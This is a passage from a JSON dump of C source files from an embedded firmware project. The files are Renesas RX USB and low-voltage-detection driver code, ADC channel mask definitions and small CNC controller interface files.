USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n\n return USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_cstd_Pipe2Fport\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_GetDeviceAddress\nDescription : Get the device address associated with the specified pipe.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t pipe : Pipe number.\nReturn value : uint16_t DEVSEL-bit status\n******************************************************************************/\nuint16_t usb_cstd_GetDeviceAddress(USB_UTR_t *ptr, uint16_t pipe)\n{\n uint16_t buffer;\n\n /* Check current function */\n if( usb_cstd_is_host_mode(ptr) == USB_NO )\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n /* Peripheral */\n /* USB address */\n buffer = usb_creg_read_usbaddr( ptr );\n /* Device address */\n return (uint16_t)(buffer & USB_USBADDR_MASK);\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP */\n }\n else\n {\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n uint16_t i, md;\n USB_HCDREG_t *driver;\n\n /* Host */\n if( pipe == USB_PIPE0 )\n {\n buffer = usb_creg_read_dcpmaxp( ptr );\n /* Device address */\n return (uint16_t)(buffer & USB_DEVSEL);\n }\n else\n {\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n if( (usb_ghstd_DeviceDrv[ptr->ip][md].ifclass != USB_IFCLS_NOT) &&\n (usb_ghstd_DeviceDrv[ptr->ip][md].devaddr != USB_NODEVICE) )\n {\n driver = (USB_HCDREG_t*)&usb_ghstd_DeviceDrv[ptr->ip][md];\n /* EP table loop */\n for( i = 0; driver->pipetbl[i] != USB_PDTBLEND; i\n += USB_EPL )\n {\n if( driver->pipetbl[i] == pipe )\n {\n buffer = driver->pipetbl[i + 3];\n /* Device address */\n return (uint16_t)(buffer & USB_DEVSEL);\n }\n }\n }\n }\n }\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n }\n return USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_cstd_GetDeviceAddress\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_ClearIntEnb\nDescription : Clear teh INTENB register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ClearIntEnb( USB_UTR_t *ptr )\n{\n usb_creg_write_intenb( ptr, 0 );\n /* Conditional compile dep. on difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_hreg_write_intenb( ptr, USB_PORT0, 0 );\n usb_hreg_write_intenb( ptr, USB_PORT1, 0 );\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_ClearIntEnb\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_ClearIntSts\nDescription : Clear the INTSTS register.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ClearIntSts( USB_UTR_t *ptr )\n{\n usb_creg_write_intsts( ptr, 0 );\n/* Conditional compile dep. on difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_hreg_write_intsts( ptr, USB_PORT0, 0 );\n usb_hreg_write_intsts( ptr, USB_PORT1, 0 );\n#endif /* USB_FUNCSEL_USBIP0_PP != USB_PERI_PP && USB_FUNCSEL_USBIP1_PP != USB_PERI_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_ClearIntSts\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_ClearDline\nDescription : Clear DRPD/DPRPU; host pulldown of resistors for D+ D- lines.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_ClearDline( USB_UTR_t *ptr )\n{\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n usb_creg_clr_cnen( ptr );\n#endif /* #if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n#if USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP\n usb_hreg_clr_drpd( ptr, USB_PORT0 );\n usb_hreg_clr_drpd( ptr, USB_PORT1 );\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n#if USB_FUNCSEL_USBIP0_PP == USB_PERI_PP || USB_FUNCSEL_USBIP1_PP == USB_PERI_PP\n usb_preg_clr_dprpu( ptr );\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n}\n/******************************************************************************\nEnd of function usb_cstd_ClearDline\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_PortSpeed\nDescription : Get USB-speed of the specified port.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel.\n : uint16_t port : Root port\nReturn value : uint16_t : HSCONNECT : Hi-Speed\n : : FSCONNECT : Full-Speed\n : : LSCONNECT : Low-Speed\n : : NOCONNECT : not connect\n******************************************************************************/\nuint16_t usb_cstd_PortSpeed(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t buf, ConnInf;\n\n buf = usb_creg_read_dvstctr( ptr, port );\n\n /* Reset handshake status get */\n buf = (uint16_t)(buf & USB_RHST);\n\n switch( buf )\n {\n /* Get port speed */\n case USB_HSMODE: ConnInf = USB_HSCONNECT; break;\n case USB_FSMODE: ConnInf = USB_FSCONNECT; break;\n case USB_LSMODE: ConnInf = USB_LSCONNECT; break;\n case USB_HSPROC: ConnInf = USB_NOCONNECT; break;\n default: ConnInf = USB_NOCONNECT; break;\n }\n\n return (ConnInf);\n}\n/******************************************************************************\nEnd of function usb_cstd_PortSpeed\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_HiSpeedEnable\nDescription : Check if set to Hi-speed.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects e.g. channel. ;\n : uint16_t port : Root port\nReturn value : uint16_t : YES; Hi-Speed enabled.\n : : NO; Hi-Speed disabled.\n******************************************************************************/\nuint16_t usb_cstd_HiSpeedEnable(USB_UTR_t *ptr, uint16_t port)\n{\n uint16_t buf;\n\n buf = usb_creg_read_syscfg( ptr, port );\n\n if( (buf & USB_HSE) == USB_HSE )\n {\n /* Hi-Speed Enable */\n return USB_YES;\n }\n else\n {\n /* Hi-Speed Disable */\n return USB_NO;\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_HiSpeedEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_SetHse\nDescription : Set/clear the HSE-bit of the specified port.\nArguments : uint16_t port : Root port.\n : uint16_t speed : HS_ENABLE/HS_DISABLE.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_SetHse(USB_UTR_t *ptr, uint16_t port, uint16_t speed)\n{\n if( speed == USB_HS_DISABLE )\n {\n /* HSE = disable */\n usb_creg_clr_hse( ptr, port );\n }\n else\n {\n /* HSE = enable */\n usb_creg_set_hse( ptr, port );\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_SetHse\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_DummyFunction\nDescription : dummy function\nArguments : uint16_t data1 : Not used.\n : uint16_t data2 : Not used.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DummyFunction(USB_UTR_t *ptr, uint16_t data1, uint16_t data2)\n{\n}\n/******************************************************************************\nEnd of function usb_cstd_DummyFunction\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_DummyTrn\nDescription : dummy function\nArguments : USB_REQUEST_t *data1 : Not used.\n : uint16_t data2 : Not used.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_DummyTrn(USB_UTR_t *ptr, USB_REQUEST_t *data1, uint16_t data2)\n{\n}\n/******************************************************************************\nEnd of function usb_cstd_DummyTrn\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cstd_set_usbip_mode\nDescription : Set the Host mode or Peripheral mode to USB H/W\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t function : Host mode/Peripheral mode\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_set_usbip_mode(USB_UTR_t *ptr, uint16_t function)\n{\n /* USB interrupt message initialize */\n usb_cstd_InitUsbMessage(ptr, function);\n /* Select HW function */\n usb_cstd_set_usbip_mode_sub(ptr, function);\n}/* eof usb_cstd_set_usbip_mode() */\n\n\n#if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_cstd_set_sofcfg_intl\nDescription : Set Interrupt sence mode(Level sence) for SOFCFG.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_set_sofcfg_intl( USB_UTR_t *ptr )\n{\n usb_creg_set_sofcfg( ptr, USB_INTL );\n} /* eof usb_cstd_set_sofcfg_intl() */\n#endif /* #if defined(BSP_MCU_RX64M) | (BSP_MCU_RX71M) */\n\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.6632782816886902, "alphanum_fraction": 0.677255392074585, "avg_line_length": 18.674999237060547, "blob_id": "5f181451fc808739ee95ac6fe097bf84d7784edf", "content_id": "ed4b334ac03c5c011a982d45f477ca049c6aeb0c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 787, "license_type": "no_license", "max_line_length": 46, "num_lines": 40, "path": "/src/config/interpreter_delocar.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * interpreter_jog_if.c\n *\n * Created on: 22/12/2015\n * Author: leocafonso\n */\n#include \"tinyg.h\"\n#include \"platform.h\"\n#include \"planner.h\"\n#include \"interpreter_if.h\"\n#include \"controller.h\"\n#include \"macros.h\"\n#include \"keyboard.h\"\n\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nstatic void iif_cycleStop_deslocar(void);\n\nvoid iif_bind_deslocar(void)\n{\n\tiif_func_enter = &iif_idle;\n\tiif_func_esc = &iif_idle;\n\tiif_func_down = &iif_idle;\n\tiif_func_up = &iif_idle;\n\tiif_func_left = &iif_idle;\n\tiif_func_right = &iif_idle;\n\tiif_func_zdown = &iif_idle;\n\tiif_func_zup = &iif_idle;\n\tiif_func_released = &iif_idle;\n\tiif_func_cycleStop = &iif_cycleStop_deslocar;\n}\n\nvoid iif_cycleStop_deslocar(void)\n{\n\tuint32_t qSend = KEY_ESC;\n\txQueueSend( qKeyboard, &qSend, 0 );\n}\n" }, { "alpha_fraction": 0.6584362387657166, "alphanum_fraction": 0.6748971343040466, "avg_line_length": 21.5, "blob_id": "0fd66489c74ab6bac2090195d565f08295c0dad0", "content_id": "1d75baf74b22ba4a9c48f27eacc1bc075ba0c865", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1215, "license_type": "no_license", "max_line_length": 57, "num_lines": 54, "path": "/src/include/ut_state_config_var.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * ut_state_config_var.h\n *\n * Created on: Jan 5, 2016\n * Author: Fernando\n */\n\n#ifndef INCLUDE_UT_STATE_CONFIG_VAR_H_\n#define INCLUDE_UT_STATE_CONFIG_VAR_H_\n\n#include \"platform.h\"\n#include \"ut_state.h\"\n\n#define THC_VMAX 300\n#define THC_VMIN 20\n#define MOTOR_VMAX 10000\n#define MOTOR_VMIN 10\n\n/**\n * Enum to indicate configuration variable type\n */\ntypedef enum\n{\n\tUT_CONFIG_INT = 0, //!< UT_CONFIG_INT\n\tUT_CONFIG_BOOL,//!< UT_CONFIG_BOOL\n\tUT_CONFIG_NULL,\n\t/* This should be the last one! */\n\tUT_CONFIG_MAX //!< UT_CONFIG_MAX\n} ut_config_type;\n\ntypedef void (*var_func)(void *);\n\n/**\n * Struct to hold a configuration variable\n * and how it is handled.\n */\ntypedef struct\n{\n\tut_config_type type; //!< Type of configuration variable\n\tvoid *value;\t\t //!< Value of variable\n\tfloat valueMin;\t\t //!< valueMin of variable\n\tfloat valueMax;\t\t //!< valueMax of variable\n\tfloat step;\t\t //!< valueMax of variable\n\tuint8_t point;\t\t //!< valueMax of variable\n\tconst char* unit; //!< unit of the variable\n\tconst char* name; //!< Name of the variable\n\tut_state currentState;\n\tuint8_t currentItem;\n\tvar_func func_var;\n} ut_config_var;\n\nextern ut_config_var* configsVar;\n\n#endif /* INCLUDE_UT_STATE_CONFIG_VAR_H_ */\n" }, { "alpha_fraction": 0.4714258313179016, "alphanum_fraction": 0.5246295928955078, "avg_line_length": 37.776119232177734, "blob_id": "b5859e1990d387676adc23cbce3cd978083c7278", "content_id": "ad68b900ebac50293c5ec49bf799e207c961fbb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10394, "license_type": "no_license", "max_line_length": 120, "num_lines": 268, "path": "/r_lvd_rx/r_lvd_rx_if.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_lvd_rx_if.h\n* Description : This file contains the interface functions and enumerations required by the user to use the\n* r_lvd_rx module. This file has to be included by the user application in order to use the module API\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* History : DD.MM.YYYY Version Description \n* : 18.07.2013 1.00 First Release\n* : 14.02.2014 1.10 Added support for RX110, RX113, RX210, RX63N\n* : 22.12.2014 1.30 Added support for RX113.\n* : 18.03.2015 1.40 Added support for RX64M, 71M.\n* : 09.07.2015 1.50 Added support for RX231.\n***********************************************************************************************************************/\n\n#ifndef LVD_INTERFACE_HEADER_FILE\n#define LVD_INTERFACE_HEADER_FILE\n\n/***********************************************************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n***********************************************************************************************************************/\n/* Fixed width integer support. */\n#include <stdint.h>\n/* bool support */\n#include <stdbool.h>\n/* Includes board and MCU related header files. */\n#include \"platform.h\"\n/* Used for configuring the LVD module */\n#include \"r_lvd_rx_config.h\"\n/***********************************************************************************************************************\nMacro definitions\n***********************************************************************************************************************/\n/* Version Number of API. */\n#define LVD_RX_VERSION_MAJOR (1)\n#define LVD_RX_VERSION_MINOR (50)\n\n/***********************************************************************************************************************\nTypedef definitions\n***********************************************************************************************************************/\n/* LVD API Error codes */\ntypedef enum _lvd_err\n{\n LVD_SUCCESS,\n LVD_ERR_VDET, // Illegal value attempted for VDet level.\n LVD_ERR_NOT_INITIALIZED, // Channel has not been Opened yet\n LVD_ERR_ILL_REINITIALIZATION, // Attempt to Open channel again without first closing\n LVD_ERR_ILL_PARAM, // illegal argument not specified in enum\n LVD_ERR_VCC_BELOW_AND_NOT_CROSSED = 0x10, // Vcc/CMPA2 is below Vdet and not crossed yet\n LVD_ERR_VCC_BELOW_AND_CROSSED = 0x11, // Vcc/CMPA2 is below Vdet and has crossed at least once\n LVD_ERR_VCC_ABOVE_AND_NOT_CROSSED = 0x12, // Vcc/CMPA2 is above Vdet and not crossed yet\n LVD_ERR_VCC_ABOVE_AND_CROSSED = 0x13, // Vcc/CMPA2 is above Vdet and has crossed at least once\n LVD_ERR_DISABLED // LVD Channel is disabled\n}lvd_err_t;\n\ntypedef enum _lvd_channel_t // LVD Channels\n{\n LVD_CHANNEL_1 = 1,\n LVD_CHANNEL_2,\n LVD_CHANNEL_INVALID\n} lvd_channel_t;\n\ntypedef enum // LVD Voltage levels\n{\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1))\n LVD_VOLTAGE_CH2_MIN = 0,\n LVD_VOLTAGE_CH2_2_90v = 0,\n LVD_VOLTAGE_CH2_2_60v,\n LVD_VOLTAGE_CH2_2_00v,\n LVD_VOLTAGE_CH2_1_80v,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_1_80v,\n\n LVD_VOLTAGE_CH1_MIN = 4,\n LVD_VOLTAGE_CH1_3_10v = 4,\n LVD_VOLTAGE_CH1_3_00v,\n LVD_VOLTAGE_CH1_2_90v,\n LVD_VOLTAGE_CH1_2_79v,\n LVD_VOLTAGE_CH1_2_68v,\n LVD_VOLTAGE_CH1_2_58v,\n LVD_VOLTAGE_CH1_2_48v,\n LVD_VOLTAGE_CH1_2_06v,\n LVD_VOLTAGE_CH1_1_96v,\n LVD_VOLTAGE_CH1_1_86v,\n LVD_VOLTAGE_CH1_MAX = LVD_VOLTAGE_CH1_1_86v,\n LVD_VOLTAGE_INVALID,\n#endif\n\n#if (BSP_MCU_RX210 == 1)\n LVD_VOLTAGE_CH1_MIN = 0,\n LVD_VOLTAGE_CH1_4_15 = 0,\n LVD_VOLTAGE_CH1_4_00,\n LVD_VOLTAGE_CH1_3_85,\n LVD_VOLTAGE_CH1_3_70,\n LVD_VOLTAGE_CH1_3_55,\n LVD_VOLTAGE_CH1_3_40,\n LVD_VOLTAGE_CH1_3_25,\n LVD_VOLTAGE_CH1_3_10,\n LVD_VOLTAGE_CH1_2_95,\n LVD_VOLTAGE_CH1_2_80,\n LVD_VOLTAGE_CH1_2_65,\n LVD_VOLTAGE_CH1_2_50,\n LVD_VOLTAGE_CH1_2_35,\n LVD_VOLTAGE_CH1_2_20,\n LVD_VOLTAGE_CH1_2_05,\n LVD_VOLTAGE_CH1_1_90,\n LVD_VOLTAGE_CH1_MAX = LVD_VOLTAGE_CH1_1_90,\n#if (LVD_CFG_VDET2_VCC_CMPA2 == 0)\n LVD_VOLTAGE_CH2_MIN = 0,\n LVD_VOLTAGE_CH2_4_15 = 0,\n LVD_VOLTAGE_CH2_4_00,\n LVD_VOLTAGE_CH2_3_85,\n LVD_VOLTAGE_CH2_3_70,\n LVD_VOLTAGE_CH2_3_55,\n LVD_VOLTAGE_CH2_3_40,\n LVD_VOLTAGE_CH2_3_25,\n LVD_VOLTAGE_CH2_3_10,\n LVD_VOLTAGE_CH2_2_95,\n LVD_VOLTAGE_CH2_2_80,\n LVD_VOLTAGE_CH2_2_65,\n LVD_VOLTAGE_CH2_2_50,\n LVD_VOLTAGE_CH2_2_35,\n LVD_VOLTAGE_CH2_2_20,\n LVD_VOLTAGE_CH2_2_05,\n LVD_VOLTAGE_CH2_1_90,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_1_90,\n#else\n LVD_VOLTAGE_CH2_MIN = 1,\n LVD_VOLTAGE_CH2_1_33 = 1,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_1_33,\n#endif\n LVD_VOLTAGE_INVALID,\n#endif\n\n#if (BSP_MCU_RX231 == 1)\n LVD_VOLTAGE_CH1_MIN = 0,\n LVD_VOLTAGE_CH1_4_29 = 0,\n LVD_VOLTAGE_CH1_4_14,\n LVD_VOLTAGE_CH1_4_02,\n LVD_VOLTAGE_CH1_3_84,\n LVD_VOLTAGE_CH1_3_10,\n LVD_VOLTAGE_CH1_3_00,\n LVD_VOLTAGE_CH1_2_90,\n LVD_VOLTAGE_CH1_2_79,\n LVD_VOLTAGE_CH1_2_68,\n LVD_VOLTAGE_CH1_2_58,\n LVD_VOLTAGE_CH1_2_48,\n LVD_VOLTAGE_CH1_2_20,\n LVD_VOLTAGE_CH1_1_96,\n LVD_VOLTAGE_CH1_1_86,\n LVD_VOLTAGE_CH1_MAX = LVD_VOLTAGE_CH1_1_86,\n#if (LVD_CFG_VDET2_VCC_CMPA2 == 0)\n LVD_VOLTAGE_CH2_MIN = 0,\n LVD_VOLTAGE_CH2_4_29 = 0,\n LVD_VOLTAGE_CH2_4_14,\n LVD_VOLTAGE_CH2_4_02,\n LVD_VOLTAGE_CH2_3_84,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_3_84,\n#endif\n LVD_VOLTAGE_INVALID,\n#endif\n\n#if (BSP_MCU_RX63N == 1)\n LVD_VOLTAGE_CH1_MIN = 10,\n LVD_VOLTAGE_CH1_2_95 = 10,\n LVD_VOLTAGE_CH1_MAX = LVD_VOLTAGE_CH1_2_95,\n LVD_VOLTAGE_CH2_MIN = 10,\n LVD_VOLTAGE_CH2_2_95 = 10,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_2_95,\n LVD_VOLTAGE_INVALID,\n#endif\n\n#if ((BSP_MCU_RX64M == 1) || (BSP_MCU_RX71M == 1))\n LVD_VOLTAGE_CH2_MIN = 9,\n LVD_VOLTAGE_CH2_2_99 = 9,\n LVD_VOLTAGE_CH2_2_92 = 10,\n LVD_VOLTAGE_CH2_2_85 = 11,\n LVD_VOLTAGE_CH2_MAX = LVD_VOLTAGE_CH2_2_85,\n\n LVD_VOLTAGE_CH1_MIN = 9,\n LVD_VOLTAGE_CH1_2_99 = 9,\n LVD_VOLTAGE_CH1_2_92 = 10,\n LVD_VOLTAGE_CH1_2_85 = 11,\n LVD_VOLTAGE_CH1_MAX = LVD_VOLTAGE_CH1_2_85,\n LVD_VOLTAGE_INVALID,\n#endif\n} lvd_voltage_level_t;\n\ntypedef enum // LVD event type\n{\n LVD_ACTION_RESET = 0,\n LVD_ACTION_NMI,\n#if ((BSP_MCU_RX111 == 1) || (BSP_MCU_RX110 == 1) || (BSP_MCU_RX113 == 1) || \\\n (BSP_MCU_RX210 == 1) || (BSP_MCU_RX231 == 1))\n LVD_ACTION_IRQ,\n#endif\n LVD_ACTION_POLL,\n LVD_ACTION_INVALID\n} lvd_action_t;\n\ntypedef enum // LVD trigger type\n{\n LVD_TRIGGER_RISE = 0,\n LVD_TRIGGER_FALL,\n LVD_TRIGGER_BOTH,\n LVD_TRIGGER_INVALID,\n} lvd_trigger_t;\n\ntypedef struct _lvd_config\n{\n lvd_action_t e_action;\n lvd_voltage_level_t e_voltage_level;\n lvd_trigger_t e_trigger;\n}lvd_config_t;\n\ntypedef enum\n{\n LVD_CMD_LEVEL_SET,\n LVD_CMD_STATUS_GET,\n LVD_CMD_STATUS_CLEAR,\n LVD_CMD_INVALID\n}lvd_cmd_t;\n\ntypedef struct st_lvd_lvl_cfg\n{\n lvd_channel_t e_channel; // LVD Channel\n lvd_voltage_level_t e_voltage_lvl; // New voltage level\n} lvd_lvl_cfg_t;\n\ntypedef struct st_lvd_status\n{\n lvd_channel_t e_channel; // LVD Channel\n} lvd_status_t;\n\ntypedef struct\n{\n bsp_int_src_t vector; //Which LVD vector caused this interrupt\n} lvd_int_cb_args_t;\n/***********************************************************************************************************************\nExported global variables\n***********************************************************************************************************************/\n\n/***********************************************************************************************************************\nExported global functions (to be accessed by other files)\n***********************************************************************************************************************/\nuint32_t R_LVD_GetVersion (void);\nlvd_err_t R_LVD_Open(lvd_channel_t e_channel, lvd_config_t *p_cfg, void (*pcallback)(void *));\nlvd_err_t R_LVD_Control(lvd_cmd_t const e_cmd, void *param);\nlvd_err_t R_LVD_Close(lvd_channel_t e_channel);\n\n\n\n#endif /* LVD_INTERFACE_HEADER_FILE */\n\n\n" }, { "alpha_fraction": 0.48106592893600464, "alphanum_fraction": 0.5503155589103699, "avg_line_length": 37.5405387878418, "blob_id": "6d7cafa044b7eb5d2a3d1c1d4ac15491a1e4ec0f", "content_id": "1df683eb2440d4f442be673a74b2430f43f67160", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 5704, "license_type": "no_license", "max_line_length": 120, "num_lines": 148, "path": "/r_s12ad_rx/src/r_s12ad_rx_private.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No \n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all \n* applicable laws, including copyright laws. \n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY, \n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM \n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES \n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS \n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of \n* this software. By using this software, you agree to the additional terms and conditions found by accessing the \n* following link:\n* http://www.renesas.com/disclaimer \n*\n* Copyright (C) 2014 Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/******************************************************************************\n* File Name\t : r_s12ad_rx_private.h\n* Description : Definitions and structures used internally by the driver.\n*******************************************************************************/\n/******************************************************************************\n* History : DD.MM.YYYY Version Description\n* 22.07.2013 1.00 Initial Release.\n* 21.04.2014 1.20 Updated for RX210 advanced features; RX110/63x support.\n*******************************************************************************/\n\n#ifndef S12AD_PRIVATE_H\n#define S12AD_PRIVATE_H\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n*******************************************************************************/\n#include \"platform.h\"\n#include \"r_s12ad_rx_if.h\"\n\n/******************************************************************************\nMacro definitions\n*******************************************************************************/\n\n#if (defined(BSP_MCU_RX110) || defined(BSP_MCU_RX111))\n\n#if BSP_PACKAGE_PINS == 64\n// valid: 1111 1111 0101 1111; invalid 0000 0000 1010 0000\n#define ADC_INVALID_CH_MASK (0xFFFF00A0)\n\n#elif BSP_PACKAGE_PINS == 48\n// valid: 1001 1111 0100 0111; invalid 0110 0000 1011 1000\n#define ADC_INVALID_CH_MASK (0xFFFF60B8)\n\n#elif BSP_PACKAGE_PINS == 40\n// valid: 0001 1111 0100 0110; invalid 1110 0000 1011 1001\n#define ADC_INVALID_CH_MASK (0xFFFFE0B9)\n\n#elif BSP_PACKAGE_PINS == 36\n// valid: 0001 1111 0000 0110; invalid 1110 0000 1111 1001\n#define ADC_INVALID_CH_MASK (0xFFFFE0F9)\n\n#else\n #error \"ERROR - BSP_CFG_MCU_PART_PACKAGE - Unknown package chosen in r_bsp_config.h\"\n#endif\n\n#endif\n\n\n#ifdef BSP_MCU_RX21_ALL\n\n#if BSP_PACKAGE_PINS == 145\n#define ADC_INVALID_CH_MASK (0xFFFF0000)\t// all channels valid (0-15)\n\n#elif BSP_PACKAGE_PINS == 144\n#define ADC_INVALID_CH_MASK (0xFFFF0000)\n\n#elif BSP_PACKAGE_PINS == 100\n#define ADC_INVALID_CH_MASK (0xFFFF0000)\n\n#elif BSP_PACKAGE_PINS == 80\n// valid: 0011 1111 1111 1111; invalid 1100 0000 0000 0000\n#define ADC_INVALID_CH_MASK (0xFFFFC000)\n\n#elif BSP_PACKAGE_PINS == 64\n// valid: 0011 1111 0101 1111; invalid 1100 0000 1010 0000\n#define ADC_INVALID_CH_MASK (0xFFFFC0A0)\n\n#elif BSP_PACKAGE_PINS == 48\n// valid: 0001 1110 0100 0111; invalid 1110 0001 1011 1000\n#define ADC_INVALID_CH_MASK (0xFFFFE1B8)\n#else\n #error \"ERROR - BSP_CFG_MCU_PART_PACKAGE - Unknown package chosen in r_bsp_config.h\"\n#endif\n\n#endif\n\n\n#ifdef BSP_MCU_RX63_ALL\n\n#if BSP_PACKAGE_PINS == 177\n#define ADC_INVALID_CH_MASK (0xFFF00000)\t// all channels valid (0-20)\n\n#elif BSP_PACKAGE_PINS == 176\n#define ADC_INVALID_CH_MASK 